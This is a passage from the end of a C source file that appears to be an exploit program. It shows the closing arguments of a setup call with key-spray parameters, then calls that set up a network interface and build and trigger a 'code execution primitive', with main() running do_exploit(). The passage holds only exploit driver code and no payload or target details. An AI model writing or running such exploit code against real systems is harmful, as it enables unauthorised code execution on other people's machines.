		0xAAAA0000 | 0xAAAA,
		0xAAAA0000 | 0xBBBB,
		"keyA",
		"keyB",
		"keyspray",
		16
	);

	code_execution_primitive_setup_network_interface(&code_execution_primitive);
	code_execution_primitive_build_primitive(&code_execution_primitive);
	code_execution_primitive_trigger(&code_execution_primitive);
}

int main(void)
{
	do_exploit();
}
